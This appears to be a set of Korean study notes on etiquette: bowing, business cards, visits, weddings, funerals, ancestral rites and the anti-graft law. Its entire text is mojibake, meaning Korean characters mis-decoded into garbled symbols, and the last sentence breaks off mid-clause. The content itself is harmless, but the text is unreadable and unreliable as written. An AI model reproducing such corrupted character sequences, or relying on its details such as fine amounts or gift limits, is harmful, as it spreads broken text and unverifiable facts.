์ฃผ๋จน์ ์ฅ ์ํ์์ ๋ฐ์ง ์์ค์ ๋๊ณ ๊ฒฝ๋ก ์ฌ์๋ ์์ผ๋ก ๋ชจ์ ๊ณต์ํ ์ํ์์ ๊ฒฝ๋ก ๊ฒฝ๋ก์ ์ข
๋ฅ ์๋ก์ ๊ฒฝ๋ก (90๋) : ๊ดํผ์์ ํฐ๊ฒฝ๋ก (45๋) : ํน๋ณํ ๊ฐ์ฌ, ์ฌ๊ณผ, ์กด๊ฒฝ ํ๊ฒฝ๋ก (30๋) : ํ์ ์ ๋ฐ๊ฒฝ๋ก (15๋) : ์นํ ์ฌ์ด ๋ชฉ๋ก ๋ฐ๋ณต์ ์ธ ๋ง๋จ ๋ณดํ ์ค ์ผ๋ฐ ๊ฒฝ๋ก๋ฅผ ํ ์ ์์ ๋ ์
์ ์์์ฌ๋์ด ์์๋ซ์ฌ๋์๊ฒ ์ฒญํจ ์์๋ซ์ฌ๋์ ๊ฐ๋ฒผ์ด ๋ชฉ๋ก๋ฅผ ํ๋ฉด์ ์
์ ์ด์ฑ ๊ฐ์๋ ์ฌ์ฑ์ด ๋จผ์ ์
์๋ฅผ ์ฒญํจ (๋ชฉ๋ก, ๋ฏธ์๋ก ๋์ฒด ๊ฐ๋ฅ) ์ ์ ํ ์ธ์ฌ๋ง ์์์ฌ๋์๊ฒ ์๊ณ ํ์ญ์์ค X ์ธ๊ณ ๊ฐ ๊ตญ์ ์ธ์ฌ๋ฒ ์ธ๋ ๋๋ง์คํ
(๋๋ง : ์ธ์ฌํ๋๋ค, ์์ค : ๋, ํ
: ๋)
๋๋ ๋น์ ํํ
์ธ์ฌํฉ๋๋ค
์ค๋ ์์ฌ๋ ์๋ผ์ด์ฟฐ (์์ด๋: ํํ๊ฐ, ์๋ผ์ด: ~์์, ์ฟฐ: ๋น์ ๋ค)
์ค๊ตญ ์ ํ๋ค๊ธฐ (๋์ด์ ์๊ด์์ด)
๊ณต์ (์์ด ๊ฐ์ด์์ ์์น)
ํ๊ตญ ์์ด (Wai) : ์์ ํฉ์ฅํ ๋ชจ์ต์ด Y์ ๋น์ท
์์๋ซ์ฌ๋์ด ๊ณ ๊ฐ๋ฅผ ๊น์ด ์์ด๊ณ , ์์ ๋์ด ๋ ๋ค
์ฌ์๋์บ
: ์๋
ํ์ธ์
๋ช
ํจ ๋งค๋ ๋ช
ํจ์ ๊ธฐ๋ฅ ์๊ธฐ๋ฅผ ์๊ฐํ๊ณ ์๋๋ฐฉ์ผ๋ก ํ์ฌ๊ธ ์๊ธฐ๋ฅผ ๊ธฐ์ตํ๊ฒ ํจ ์ธ๊ฐ๊ด๊ณ ํ์ฑ๊ณผ ์ธ๋งฅ๊ด๋ฆฌ์ ์ค์ํ ๋๊ตฌ ์น๋ถ์ ์์ : ์ฒซ ์ธ์์ ์ข์ฐ, ์๋ฅผ ๋คํด์ผ ํจ ๋ช
ํจ์ ์ข
๋ฅ ์ฌ๊ต์ฉ ๋ช
ํจ (์ฑ๋ช
, ์ฃผ์) ๋ฉ์์ง ์นด๋๋ ์ด์ฒญ์ฅ ๋์ ์ฌ์ฉ ์
๋ฌด์ฉ ๋ช
ํจ (์ฌ์ง, ์ฑ๋ช
, ์ง์ฅ ์ฃผ์, ๋ก๊ณ ๋ฑ) (๋ฏธ๊ตญ) ์ฌ์ฅ, ์ค์ญ์ฉ : ๋ช
ํจ ์ค์์ ์ด๋ฆ, ํ๋จ์ ์ง์์ ํ์ฌ๋ช
(๋ฏธ๊ตญ) ์ฌ์์ฉ : ์ค์์ ํ์ฌ๋ช
, ์ข์ธก ํ๋จ์ ์ฑ๋ช
, ์์๋ถ์, ์ฃผ์ ๋ฑ ๋ช
ํจ ๊ตํ ๋ฐฉ๋ฒ ์๊ฐํ๊ณ ์๋ก ๋ช
ํจ๋ถํฐ ๊ตํ
(์์) ํค์ด์ง ๋ ํ์ํ ๊ฒฝ์ฐ ๊ตํ
๋ช
ํจ์ ์ค ๋
๋ช
ํจ์ ๋ช
ํจ ์ง๊ฐ์ ๋ฃ์ด์ ์ ๊ณ ๋ฆฌ ์์ฃผ๋จธ๋์ ๋ณด๊ด ์ -> ๊ฐ ์ ์์ธ์์ ๊ตํ ํ๋ค. ํ
์ด๋ธ ์์ ๋๊ณ ๋ฐ๊ฑฐ๋, ์๋ฅ ๋ดํฌ์ ํจ๊ป X ์ผ์ด์์, ์ ์คํ๊ฒ ์ธ์ฌํ๊ณ , ์ด๋ฆ์ด๋ ์์์ ๋ฐํ๋ฉด์, ๋ ์์ผ๋ก ๊ฑด๋จ๋ค ๋ช
ํจ ๊ธ์๊ฐ ์๋๋ฐฉ ์ชฝ์์ ๋ฐ๋ฅด๊ฒ ๋ณด์ด๊ฒ ๊ฑด๋จ๋ค ์์ฌ๊ฐ ๋จผ์ ๊ฑด๋ค๊ณ ์๊ธฐ ๋ช
ํจ์ ๊ฑด๋ฌ ๊ฒ ์๋๊ฐ ๋ ์ฌ๋ ์ด์์ด๋ฉด ์์ฌ๋์๊ฒ ๋จผ์ ๊ฑด๋จ๋ค ์ค๊ฐ์ ํ
์ด๋ธ ๊ฐ์ ์ฅ์ ๋ฌผ์ด ์๋ค๋ฉด ๋ ์ฌ์ด์ ์ฅ์ ๋ฌผ์ด ์๋ ์ํ์์ ๋ช
ํจ์ ๊ตํํ ๊ฒ ๋ช
ํจ์ ๋ฐ์ ๋
์ผ์ด์์, ๋ ์์ผ๋ก, ๋ชจ์๋ฆฌ๋ฅผ ์ก๊ณ (๋ช
ํจ์ ๊ฐ๋ฆฌ์ง ์๊ณ ) ๋ฐ๋๋ค ๋ฐ์ผ๋ฉด ์์ ์ ๋ช
ํจ์ ์ค ๊ฒ, ํ ์ฌ๋์ฉ ์ฃผ๊ณ ๋ฐ๋๋ค ์๋๋ฐฉ์ ๋ช
ํจ์ ๋๊ณ ๊ฐ๋ ๊ฒ์ ์ค๋ก ํ์ ํ ๋ ์๋ฆฌ์ ๋ฐ๋ผ ํ
์ด๋ธ์ ๋ช
ํจ์ ์ฌ๋ ค ๋์ ์ ์์ ์๋๋ฐฉ์ ๋ช
ํจ์ ์ฝ๊ณ ์ง๊ฐ์ ๋ฃ์ ๊ฒ ๋ช
ํจ ๋ณด๊ด
๋ช
ํจ ํ๋๋ ๋ฐ์ธ๋์ ์ ์ ๋ฆฌ (์ง์ฅ๋ณ, ๊ฐ์ธ๋ณ, ๋ชจ์๋ณ) ๋ช
ํจ์ ๊ธฐ์ฌ๋ ์ฌํญ์ด ๋ณ๊ฒฝ๋๋ ๊ฒฝ์ฐ ์ฌ๋ฐฑ์ ๋ฉ๋ชจ ์ฐ 1ํ ์ ๋ฆฌ ์ฌ๊ต๋งค๋ ๋ฐฉ๋ฌธ ์ ๋ ์์ ์ถ์ฐ ๋ฐฉ๋ฌธ ๋ฐฉ๋ฌธ ์ ๊ธฐ๋ณธ ๋งค๋ ๋ฐฉ๋ฌธ์ ํ ๊ฒฝ์ฐ ๋ฐฉ๋ฌธ์ ๋ํ ์ฝ์์ด ์ ํ
์
๋ฌด ๊ด๋ จ ๋ฐฉ๋ฌธ์ด ์๋๋ผ๋ฉด, ๋ถ๋ถ ๋๋ฐ
์๋๋ฐฉ์ ์ทจํฅ ๊ณ ๋ ค ์ ๋ฌผ ์ค๋น
๋ฐฉ๋ฌธ ์๊ฐ : ์คํ 3์~5์ ์ ๋น
๋ณ๋ฌธ์, ์กฐ๋ฌธ ์ ์ธํ๊ณ ๋ ์ค์ ์๊ฐ์ ์ผ๊ฐ
๊ฐ์ ์ผ๋ก์ ๋ฐฉ๋ฌธ ์ด์ธ์ข
์ ๋๋ฅด๊ธฐ ์ ์ ์ท์ฐจ๋ฆผ๊ณผ ๋ฐฉ๋ฌธ ๋ชฉ์ ์ ์ ๊ฒ
์ค๋นํ ์ ๋ฌผ์ ์์ฃผ์ธ์๊ฒ ์ ๋ฌ
๊ฑฐ์ค์์๋ ์
๊ตฌ ๊ฐ๊น์ด ๊ณณ์ด ํ์, ๊ทธ ๋ฐ๋๊ฐ ์์
์์ ์ค์ ๊ธด ์ํ์ ์๋ฝ์์๊ฐ ์์ ๋ ๊ธด ์ํ๊ฐ ์๋์ฉ
์์ฌ์๊ฐ์ ํผํ๋ ๋ถ๋์ดํ ๊ฒฝ์ฐ ๋๋ฌด ์ฌ์ํ์ง ์๋๋ก
๋ถ์ฌ ์๋ ๋ช
ํจ์ ๋จ๊ธฐ๋๋ก
๋ฐฉ๋ฌธ ํ ๋ฐ๋์ ์ ํ๋ก ๊ฐ์ฌ๋ฅผ ํ์
์ง์ฅ์ผ๋ก์ ๋ฐฉ๋ฌธ ๋
ธํฌ๋ฅผ ํ ํ ์
์คํ ๊ฒ
๊ณต์ฉ์ฌ๋ฌด์ค์ธ ๊ฒฝ์ฐ ๋๋ฃ ์ง์๋ค์๊ฒ ๊ฐ๋จํ ๋ชฉ๋ก
์๋๋ฐฉ์ ์ผ์ ์ ํ์
๋ณ์์ผ๋ก์ ๋ฐฉ๋ฌธ ๋ณ๋ฌธ์์ ๋น ๋ฅผ ์๋ก ์ข์ผ๋ฉฐ ๋ฐฉ๋ฌธ์ ์ ๋ฏธ๋ฆฌ ์๋ฆด ๊ฒ
๋ฌธ๋ณ ์๊ฐ: 20~30๋ถ์ด ์ ๋น
์์ฌ์๊ฐ๊ณผ ์น๋ฃ์๊ฐ์ ํผํด ์คํ 2์ ~ 5์
ํ์๊ฐ ์ํ๋ ๊ฒ์ ๋ฌผ์ด๋ณด์ ์ค๋น
๊ฝ์ ์ผ๊ฐ (๊ฝ๊ฐ๋ฃจ)
์ ๋ ์ ๋๋งค๋ ์์ ์ค๋ก ์๋ดํ๋ฉฐ ์๋ฆฌ๋ฅผ ๊ถํ ํ ์๋์๊ฒ ๊ฐ์กฑ๋ค์ ์๊ฐ
์๋์ด ์์งํ ๋๋ ์ฅ์ ๋ง๋ จ
์ฐจ๋ ์๋ ์ํฅ์ ๋ฌผ์ด ๋์
์ ๋ฌผ์ ์๋ฆฌ์์ ์ด์ด๋ณด์ง ๋ชปํ๋ค๋ฉด ์์คํ ์ทจ๊ธ
์๋์ด ๋์๊ฐ ๋ ์ง์์ ์ค๋นํ ๊ฐ๋จํ ์ ๋ฌผ๋ก ๋ต๋ก
ํ๊ด์ด๋ ์ฐจ๋ฅผ ํ๋ ๊ณณ๊น์ง ๋ฐฐ์
์์์ฌ๋์ธ ๊ฒฝ์ฐ ๋์ค์ ์ ๋์ฐฉํ์
จ๋์ง ํ์ธ ์ ํ ํ์
์ ๋๋งค๋ (์ง์ฅ) ๊ณตํญ์ ๋ง์ค์ ๋๊ฐ๋ ๊ฒฝ์ฐ, ๋๋ฑํ ์ง๊ธ์ ์ฌ๋์ด ๋๊ฐ๋ ๊ฒ์ด ์ข์
์๋๋ฐฉ์ด ํธํ
์์ฝ์ ์ํ๋ค๋ฉด ํธํ
๊น์ง ์๋ด
ํ๋ฒ์ฏค ํฅํ ์์์ ๋์ ํ๊ฑฐ๋ ๋ช
์น์ง๋ฅผ ์๊ฐํ๋ ๊ฒ๋ ์ข์
์๋์ด ๊ฐ๋ ๋ฌด๋ฆฌํ๊ฒ ์ก์ง ๋ง๊ณ ๊ฐ๋จํ ์ธ์ฌ๋ง๋ก ์๋ณ
์์ ๋ฐ ์ถ์ฐ ์์ ์์ ์ ์ํ๋ ๋ถ๋ชจ์ ๋ง์์์ธ
ํฌ์์๋ ์ฌ๋์ ์ค์ฒํ๊ฒ ๋ค
ํ์ด๋๋ ์ ์๋ช
์ ์ธ๊ฒฉ์ ์ผ๋ก ๋ํ๊ฒ ๋ค
์ถ์ฐ ์ถ์ฐ : ๋ณ์์์ 2-3์ผ ์
์
์ฐํ์กฐ๋ฆฌ : ์ฐํ์กฐ๋ฆฌ์์ ์ด์ฉํ๊ธฐ๋ ํจ
์ถ์ฐํ ์ผ์น ์ผ (21์ผ) ๋์ ์ธ๋ถ์ธ์ ๋ฐฉ๋ฌธ์ ์์
์ฐ๋ฆฌ๋๋ผ๋ ์๋ก๋ถํฐ ์์ด๋ฅผ ๋ณ์ผ๋ฉด ๋๋ฌธ์ ๊ธ์ค์ ์ณค์
์๋ค์ด๋ฉด ๊ณ ์ถ+์ฏ+์์, ๋ธ์ด๋ฉด ์ฏ+์์ ๊ฒฝ์กฐ์ฌ ์์ผ ๊ฒฐํผ ์์ผ ๋ฐฑ์ผ์์น : ์ถ์ ๋ฐฑ์ผ ํ ์์ด์ ์ฐ๋ชจ๋ฅผ ์ถํ, ๋ฐฑ์ค๊ธฐ๋ฅผ ๋๋ ๋จน์ ์ฒซ๋ : ๋ง 1๋
์ด ๋๋ ์ฒซ ํด ์์ผ, ๋์ก์ด ํ๊ฐ : 61์ธ๊ฐ ๋๋ ์์ผ, ์ผ ๊ฐ์๊ฐ ๋์์ด ์ฐ๋ฆฌ๋๋ผ ๋์ด๋ก 60์ธ (๋ง 59๋๋ 58) ์ฐ๋ น๋ณ ์์ผ ๋ช
์นญ 20์ธ (์ฝ๊ด), 30์ธ (์ด๋ฆฝ), 40์ธ (๋ถํน), 50์ธ (์ง์ฒ๋ช
), 60์ธ (์ด์) 61์ธ (ํ๊ฐ), 62์ธ (์ง๊ฐ), 70์ธ (๊ณ ํฌ), 80์ธ (์ฐ์), 88์ธ (๋ฏธ์) 90์ธ (์กธ์), 100์ธ (์์) ์ฑ๋
์ ๋ ๋ง 19์ธ๊ฐ ๋๋ 5์ ์
์งธ์ฃผ ์์์ผ ๋จ์ (๊ด๋ก) : ๋๊ธฐ๋จธ๋ฆฌ ์๋ฅด๊ณ ์ํฌ๋ฅผ ๋ง๋ ํ ๊ฐ์ ์์ฐ๋ ์์ ์ฌ์ (๊ณ๋ก) : ๋จธ๋ฆฌ ์ฌ๋ ค ๋น๋
๋ฅผ ๊ฝ๋ ์์ ์์ํฅ๋ก์ผ๋ก ์ก์ ๋ง์ ํผ๋ก (๊ฒฐํผ์) ์ ํตํผ๋ก์ ์ ์ฐจ ์ํผ : ์๊ฐ๊ฐ ์ค๋งค์ธ์ ํตํด ์๋ก์ ์์ฌ๋ฅผ ์กฐ์
์๋์ด : ์ ๋ถ์ง ๋ง๋น์์ ๋ถ์๊ธฐ๋ฅผ ๋ถ๋์ฐ๋ ๊ณต์ฐ
์ ๋์
์ฅ : ์ ๋์ด ๊ธฐ๋ฌ๊ธฐ ์๋ฒ๊ณผ ํจ๊ป ์ ๋ถ์ง์ผ๋ก ๊ฐ
๊ธฐ๋ฌ๊ธฐ๋ฅผ ์ ๋ฌ ๋ฐ์ ์ ๋์ ์ ๋ถ๋ฅผ ํฅํด ์๋ฅผ ์ฌ๋ฆฌ๊ณ , ๊ธฐ๋ฌ๊ธฐ๋ฅผ ๋์ฒญ์ ์ฌ๋ ค๋์
์ ์๋ก : ์ ๋ถ์ด๋จธ๋๊ป ๊ธฐ๋ฌ๊ธฐ๋ฅผ ๋๋ฆฌ๋ ์์
์ด๋ก์ฒญ : ์ ๋๊ณผ ์ ๋ถ ์
์ฅ
๋ง์ ์ ๋ชธ๊ณผ ๋ง์์ ์ ๊ฐํ๊ฒ ํ๋ค๋ ์๋ฏธ์์ ์์ ์ป์
๊ต๋ฐฐ๋ก (๋ง์ )
์ ๋๊ณผ ์ ๋ถ๋ ์ด๋ก์ฒญ์์ ์ฒ์์ผ๋ก ์ธ์ฌ๋ฅผ ๋๋๋ฉฐ ์๋ก์๊ฒ ์ ์ ๋๊ณผ ์ ๋ถ๋ ๋ฐฑ๋
ํด๋ก๋ฅผ ์์ฝ ํฉ๊ทผ๋ก : ์ ์๊ณผ ํ์ฃผ๋ฐ์ ๊ฐ๊ฐ ์ ์ ๋ถ์ด ๋ง์๋ ์์
ํจ, ํจ์ง์ ๋น, ๋ฉํ, ๋ด์ฑ๋ก ํจ : ๊ฒฐํผ ์ ๋ ์ ๋ ์ง์์ ์ ๋ถ ์ง์ผ๋ก ๋ณด๋ด๋ ์์
ํจ์ง์ ๋น : ํ์ธ์ด๋ ์ฌ๋์ ์ฌ์ ํจ์ ์ง๊ณ ๊ฐ
ํจ ๋ด์ฉ : ์ค๊ณก ์ฃผ๋จธ๋, ์ฒญํ์ฑ๋จ, ํผ์์ง (ํผ์ธ๋ฌธ์), ๋ฌผ๋ชฉ๊ธฐ, ์๋ฌผ ๋ฑ
ํจ์ง์ ๋น ์ผํ์ ์ ๋ถ ์ชฝ ์น์ง๋ค๊ณผ ์ฌํฅ์ ๊ฐ์ง
๋ฉํ : ์ ๋ ์ชฝ์์ ํผ์์ ์ฑ๋จ, ์๋ฌผ์ ํจ์ ๋ด์ ๋ณด๋ด๋ ๊ฒ
๋ด์ฑ๋ก : ํจ์ ๋ฐ๊ธฐ์ํด ์ ๋ถ ์ง์์ ์ค๋นํ๋ ์์
ํ๋์ ๊ฒฐํผ์ ํ๋ฐฑ : ์ ๋ถ๊ฐ ์๋ ์ด๋ฅธ๋ค๊ป ์ฒซ์ธ์ฌ ์ฌ๋ฆฌ๋ ์๋ก
์์ (๋ถ๋ชจ -> ์กฐ๋ถ๋ชจ -> ๋ฐฑ๋ถ๋ด์ธ -> ์๋ถ๋ด์ธ -> ํ์ )
๋ค๋ฌ๋ฆฌ : ํ์ ์๋งค, ์ ๋ ์ ๋ถ์ ์น๊ตฌ๋ค, ์น์ฒ, ํ๋
๊ฒฝ์กฐ์ฌ ์ฅ๋ก ์์์ ์ฅ๋ก์ ๊ตํ์์ ์กฐ์ฉํ ๊ฐ์ด๋ฐ ์์ํ ์งํ ๋ฏธ์ฌ๋ ์๋ฐฐ๊ฐ ๋๋ ํ ๊ณต๋๋ฌ์ง๋ก ์ฅ๋ก ํ๋ ฌ์ด ์์ ํ๋ ฌ์ ์ ๋์๋ ๋ชฉ์ฌ๋์ด๋ ์ ๋ถ๋, ๊ฐ์ฅ ๊ฐ๊น์ด ์ ์กฑ, ์น์ฒ๊ณผ ์ง์ธ ์์ผ๋ก ์ด๋ ๋จ์ ์ ์กฑ์ ๊ฐ์ ์ธ ์ฝ์ฉ ํ์ ๊ด์๋ก ๋์ง๊ณ ์ฌ์๋ค์ ๊ฝ๊ณผ ์์ ๊ฝ๋ค๋ฐ์ ๋์ง ์ฅ๋ก ์ ์ฐจ ์ฅ๋ก ์ฒซ์งธ๋ ์์ข
(์ด๋ช
) : ๋ง์ง๋ง ์จ์ด ๋์ด๊ฐ๋ ๊ฒ
์์ : ๋์ ๊ฐ๊ธฐ๊ณ ํ๋ค๋ฆฌ๋ฅผ ๊ฐ์ง๋ฐํ ํ์ฌ ์ฝ์ ์
์ ์์ผ๋ก ๋ง์์ค๋ค
์ฌ๋ง์ฆ๋ช
์ : ์์ฌ ๋๋ ์, ๊ตฐ ๊ฒ์ฌ๊ด์ด ์ฌ๋งํ์ง 24์๊ฐ ์ด๋ด์ ๋ฐ๊ธํ๋ค
๋ฐ์ : ์ด์์ด ๋ฌ์์ ์ธ๋ถ์ ์๋ฆฌ๊ณ ์๋ก๋ฅผ ์์ํจ์ ๋งํ๋ค
๋ถ๊ณ : ๊ณ ์ธ๊ณผ ์ ์กฑ์ ๊ฐ๊น์ด ์น์ธ์ฒ, ์ง์ธ, ํ์ฌ ๋ฑ์ ๋ถ๊ณ ๋ฅผ ๋ธ๋ค
์ฅ๋ก ๋์งธ๋ ์ผ์ต : ์๋
๋ ์์ด๋ ๊ฑฐ์ฆ๋ก ์์ ์ ์ป๊ธฐ๋ฉฐ(์ผ), ์์๋ฅผ ์
ํ๋ค(์ต)
์
๊ด : ์์ ์ ๊ด์ ๋ชจ์ ๋ค
์์ข ์ค์น : ์์ ์ฌ์ง์ ์ ์ ์์ ๋ชจ์๊ณ ์์ ์ ์์ผ๋ก ์ด๋ถ์ ๋ฐํ๋ค
์ฑ๋ณต : ์์ ๋ ์๋ณต์ ์
๋๋ค
์กฐ๋ฌธ : ์ฑ๋ณต์ด ๋๋๋ฉด ์กฐ๋ฌธ์ ๋ฐ๋๋ค
์กฐ๋ฌธ : ๋์๊ฐ์ ๋ง์์ ๋ณต์ ๋น๊ณ , ์ฌํ์ ์๋กํ๊ธฐ ์ํด ์ฅ๋ก์์ฅ์ ๊ฐ๋ ํ์
์ฅ๋ก ์
์งธ๋ ๋ฐ์ธ : ์๊ตฌ๊ฐ ์ง์ ๋ ๋๋ ์ ์ฐจ์ด๋ฉฐ ๋ฐ์ธ์ ๋ฅผ ์ง๋ธ๋ค
์ด๊ตฌ : ์๊ตฌ๋ฅผ ์ฅ์ง(ํ์ฅ์ง)๊น์ง ์ฅ์์ฐจ๋ ์์ฌ๋ก ์ด๋ฐ
ํ๊ด : ์ฅ์ง์์ ์๊ตฌ(๊ด)์ ๊ด์ค(๊ตฌ๋ฉ์ด)์ ๋ฃ๋๋ค
์ฑ๋ถ(๋ด๋ถ) : ๊ด์ ์์ ํ ๋ฎ์ ํ, ํ์ ์์ ์ฌ๋ ค ์๋๋ฅผ ์
ํ๋ค
์๋ น์ (์ฑ๋ถ์ ) : ๋ฌ์ ์์ ์์ข๋ฅผ ๋ชจ์๊ณ ์ ์ฌ๋ฅผ ์ฌ๋ฆฐ๋ค
์ฅ๋ก ํ ์ ์ ๋ฐ์ฐ์ : ์ง์ผ๋ก ๋์์ ์ํผ์ ์ง์ ๋ง์๋ค์ด๋ ์ ์ฌ
์ผ์ฐ์ : ๋ฌ์์์ ์ฅ๋ก๋ฅผ ์น๋ฅธ์ง 3์ผ์งธ ๋๋ ๋ ์ ๋๋ฆฌ๋ ์ ์ฌ
์ฌ์ญ๊ตฌ์ : ์ฅ๋ก์ผ๋ก๋ถํฐ 49์ผ์งธ ๋๋ ๋ ์ ์ง๋ด๋ ์ ์ฌ
๋ฐฑ์ผ์ : ์ฅ๋ก ํ ๋ฐฑ์ผ์งธ ๋๋ ๋ ์ ์ง๋ด๋ ์ ์ฌ
์กฐ๋ฌธ ์์ ๋ฐฉ๋ช
๋ก ์๋ช
-> ๋ถํฅ๊ณผ ํํ -> ์ฌ๋ฐฐ(ํฐ์ 2) -> ์กฐ๋ฌธ(ํ์ 1) -> ๋ถ์๊ธ ์ ๋ฌ
๊ฐ๊น์ด ์ฌ๋์ด๋ผ๋ฉด ์ฆ์ ์ฐพ์๊ฐ์ ์ ๋์ ๋ป์ ์ ํ๊ณ ์ฅ๋ก ์ ์ฐจ๋ฅผ ๋์์ค
์ผ๋ฐ์ ์ผ๋ก ์ผ์ด ๋๋๊ณ ์ค๋น๊ฐ ๋ ์์ข
์ผ ๋ค์๋ ์กฐ๋ฌธ์ ๊ฐ๋ค
๋ฌธ์ ์ ๋ณต์ฅ ๊ฒ์์, ๋จ์ ํ๊ฒ, ํ๋ คํ ์ก์ธ์๋ฆฌX, ์งํ ๋ฉ์ดํฌ์
X
์กฐ๋ฌธ ์ ์ธ์ฌ๋ง “์ผ๋ง๋ ์์ฌ์ด ํฌ์ ์ง์”, “์๋ก์ ๋ง์์ ์ฌ๋ฆฝ๋๋ค”
์กฐ๋ฌธ์ ์์ ์ ๋ถํฅํ๋ ๋ฐฉ๋ฒ ์ ๊ต์ : ์์ ์ ๋ถํฅ ํ ํฐ์ ์ ๋ ๋ฒํ๊ณ ๋ ํ, ์์ฃผ์ ํ์
๊ธฐ๋
๊ต์ : ๊ฝ์ ์ฌ๋ฆฌ๊ณ (๊ฝ๋ด์ค๋ฆฌ๊ฐ ์กฐ๋ฌธ๊ฐ ์ชฝ์ผ๋ก), ๊ธฐ๋(๋ฌต๋
)์ ํ ํ ์์ฃผ์ ํ์
์กฐ์๊ธ ์ ๋ฌ ๋ฌธ์์ ๋ง์น ํ ๋ฌผ๋ฌ๋์ ๋ถ์ํจ์ ์ง์ ๋ฃ์
์์ฃผ์๊ฒ ์ง์ ๊ฑด๋ค๋ ๊ฒ์ ๊ฒฐ๋ก
๋ดํฌ์ ๋ถ์, ๊ทผ์กฐ, ์กฐ์ ๋ฑ์ด๋ผ ์
๊ฒฝ์กฐ์ฌ ์ ๋ก ์ ๋ก์ ์ข
๋ฅ ๊ธฐ์ ์ฌ ๋์๊ฐ์ ๋ถ๋ชจ๋๊ณผ ์กฐ๋ถ๋ชจ๋์ ๊ธฐ๋ฆฌ๋ ์ ์ฌ ์๋ฏธ : ๋์๊ฐ์ ๋ถ๋ชจ, ์กฐ๋ถ๋ชจ๋์ ์๊ฐํ๋ฉฐ ๋ฟ๋ฆฌ์์๊ณผ ์ ์ฒด์ฑ ์ฐพ๊ธฐ ์๊ฐ : ๋์๊ฐ์ ๋ ์ ์์ (๋ฐค 11์ ~ ์๋ฒฝ 1์)์ ์์ ๊ธฐ๋
๊ต, ์ฒ์ฃผ๊ต๋์ธ : ๊ฐ์กฑ ์๋ฐฐ, ์ถ๋์์ผ๋ก ๋์ ํจ ์ฐจ๋ก ๋ช
์ ๋ ์์นจ์ ์ง๋ ์์ ํ ๋ฒ ์ฌ๋ฆฌ๊ณ , ์ถ๋ฌธ์ ์ฝ์ง ์์ ์ด๋ถ์ ํค์ง ์์ ์์ ์ฌ (์ํฅ) ๊ธฐ์ ๋ฅผ ๋ชจ์์ง ์์ ์กฐ์์ ๋ชจ์๋ ์ ์ฌ ์๋ ฅ 10์์ ์ค์ ์ง๊ณ์์, ๋ฐฉ๊ณ์์์ ๋๊ตฌ๋ ์ฐธ์ฌ ๋ฎ์ ์ผ์ธ์์ ์ง๋ด๋ฉฐ ๊ธฐ์ ์ ์ฐจ์ ๊ฐ์ ์ฐจ๋ก์ ๋ฐ๋ผ๋ดค์ ๋ ์ค๋ฅธ์ชฝ ๋์ชฝ, ์ผ์ชฝ ์์ชฝ
1์ด (์์ , ์, ๋ก๊ตญ, ์๋ฃจ๋ก)
2์ด (์ , ์ก์ , ์์ , ์ , ์ด์ )
3์ด (์กํ, ์ํ, ์ดํ)
4์ด (ํฌ, ๋๋ฌผ, ๊ฐ์ฅ, ๋๋ฐ๊น์น, ์ํ)
5์ด (๊ณผ์ผ, ํ๊ณผ)
์ขํฌ์ฐํ : ์ข์ธก์ ํฌ, ์ฐ์ธก์ ์ํ
์ด๋์ก์ : ๋์ชฝ์ ์ด๋ฅ, ์์ชฝ์ ์ก๋ฅ
๋๋๋ฏธ์ : ์์ ์ ๋จธ๋ฆฌ๋ ๋์ชฝ ๊ผฌ๋ฆฌ๋ ์์ชฝ
์กฐ์จ์ด์ : ๋์ถ, ๋ฐค, ๋ฐฐ, ๊ฐ
์ ์ฌ์์๊ณผ ๊ธฐ๋ณธ ์์ ๋ณต์ญ์, ‘์น’์ ์์ (๊ฝ์น, ์ฐธ์น, ๊ฐ์น)๋ ์ฌ์ฉํ์ง ์๋๋ค ๊ณ ์ถง๊ฐ๋ฃจ, ๋ง๋ ์๋
์ ์ฌ์ฉํ์ง ์๋๋ค ์ง์ค์ ์์๋ ์์ (์์ ๋ด์ ๋๋ ๊ทธ๋ฆ)๊ณผ ์๋ฐ์ ๋จผ์ ์ฌ๋ฆฐ๋ค์ 1์ด ๋ถํฐ ๋๋๋ค ์ค์๋ ๋ก๊ตญ, ์ถ์์๋ ์กํธ, ๊ธฐ์ ์ฌ๋ ๋ฉ(๋ฐฅ)์ ์ฌ๋ฆฐ๋ค ์ํ, ํ, ๋ฉด์ ๊ฑด๋๊ธฐ๋ฅผ ์ฌ์ฉํ๋ค ์ ์ฃผ (์ ์) ํ (๋ํ๋ ํ) ๊ด๊ณ (์๋ฒ์ง : ๊ณ , ์ด๋จธ๋ : ๋น, ํ ์๋ฒ์ง : ์กฐ๊ณ , ํ ๋จธ๋ : ์กฐ๋น) ์ด๋ฆ ์ ์ ์ฒญํ๊ธ์ง๋ฒ ์ฒญํ๊ธ์ง๋ฒ (๊น์๋๋ฒ) ์ฐ๋ฆฌ๋๋ผ ๊ณต์ง์ ๋ฑ์๊ฒ ๋ถ์ ์ฒญํ ๋ฐ ๊ธํ์์๋ฅผ ๊ธ์งํจ ์ ์ฉ : 2๋
์ดํ ์ง์ญ ๋๋ 2000๋ง์ ์ดํ ๊ณผํ๋ฃ 1. ๋ถ์ ์ฒญํ ๊ธ์ง ์ฒญํ๋์ ๊ตญ๊ฐ/์ง๋ฐฉ, ๊ณต์ง ์ ๊ด๋จ์ฒด, ๊ณต๊ณต๊ธฐ๊ด๊ณผ ๊ณต๋ฌด์๊ณผ ๋ฐฐ์ฐ์ ๊ตญ/๊ณต/์ฌ๋ฆผ ํ๊ต ๊ต์ง์, ํ๊ต๋ฒ์ธ์ ์์ง์, ๋ฐฐ์ฐ์ ์ธ๋ก ์ฌ ์ข
์ฌ์์ ๋ฐฐ์ฐ์ ์์ธ ์กฐํญ :๊ณต์ต์ ์ธ ๋ชฉ์ ์ผ๋ก ๊ณ ์ถฉ ๋ฏผ์์ ์ ๋ฌํ๋ ํ์ ๋ฑ ์ ๊ณ ๋ฐฉ๋ฒ ๋ฐ์ ๊ธํ์ ๋๋ ค์ฃผ๊ณ ๊ฑฐ๋ถ ์์ฌ๋ฅผ ํํ ์กฐ์น ์ดํ์๋ ๋ค์ ๋ฐ๋๋ค๋ฉด ์์ ๊ธฐ๊ด์ฅ์๊ฒ ์๋ฉด(์ ์๋ฌธ์ ํฌํจ)์ผ๋ก ์ ๊ณ 2. ๊ธํ์์ ๊ธ์ง ๋์ ๋์ผ์ธ์ผ๋ก๋ถํฐ 1ํ 100๋ง์์ด๊ณผ ๋งค ํ๊ณ์ฐ๋ 300๋ง์ ์ด๊ณผ ๊ธํ ๋ฑ ์์ ์ง๋ฌด์ ๊ด๋ จํ์ฌ 1ํ 100๋ง์ ์ดํ ๊ธํ ๋ฑ ์์ ๋ฐฐ์ฐ์๊ฐ ์์ ๊ธ์ง ๊ธํ ๋ฑ์ ๋ฐ์ ๊ฒฝ์ฐ 